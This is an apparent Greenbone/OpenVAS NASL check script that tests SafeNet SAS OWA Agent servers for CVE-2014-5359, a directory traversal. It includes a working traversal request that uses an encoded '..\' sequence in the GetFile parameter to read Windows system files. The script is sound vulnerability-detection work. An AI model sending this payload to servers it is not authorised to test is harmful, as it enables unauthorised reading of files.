SafeNet SAS OWA Agent < 1.03.30109 Directory Traversal Vulnerability - Active Check

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:safenet-inc:safenet_authentication_service_outlook_web_access_agent";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105152");
  script_version("2025-04-15T05:54:49+0000");
  script_cve_id("CVE-2014-5359");
  script_tag(name:"cvss_base", value:"7.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:N/A:N");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2014-12-22 16:04:07 +0100 (Mon, 22 Dec 2014)");
  script_name("SafeNet SAS OWA Agent < 1.03.30109 Directory Traversal Vulnerability - Active Check");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_safenet_sas_owa_agent_http_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 443);
  script_mandatory_keys("safenet/sas_owa_agent/http/detected");

  script_xref(name:"URL", value:"http://appcheck-ng.com/safenet-sas-owa-agent-directory-traversal-vulnerability/");

  script_tag(name:"summary", value:"SafeNet Authentication Service (SAS) Outlook Web Access (OWA)
  Agent (formerly CRYPTOCard) is prone to a directory traversal vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request checks the response.");

  script_tag(name:"insight", value:"Via a .. (dot dot) in the GetFile parameter to owa/owa it is
  possible to read arbitrary files.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to download
  arbitrary files.");

  script_tag(name:"affected", value:"SafeNet SAS OWA Agent versions prior to 1.03.30109.");

  script_tag(name:"solution", value:"Update to version 1.03.30109 or later.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("misc_func.inc");
include("traversal_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("os_func.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) )
  exit( 0 );

if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) )
  exit( 0 );

files = traversal_files( "windows" );

foreach pattern( keys( files ) ) {

  file = files[pattern];

  url = "/owa/owa?Application=Exchange&GetFile=..%5C..%5C..%5C..%5C..%5C..%5C" + file;

  if( http_vuln_check( port:port, url:url, pattern:pattern ) ) {
    report = http_report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 99 );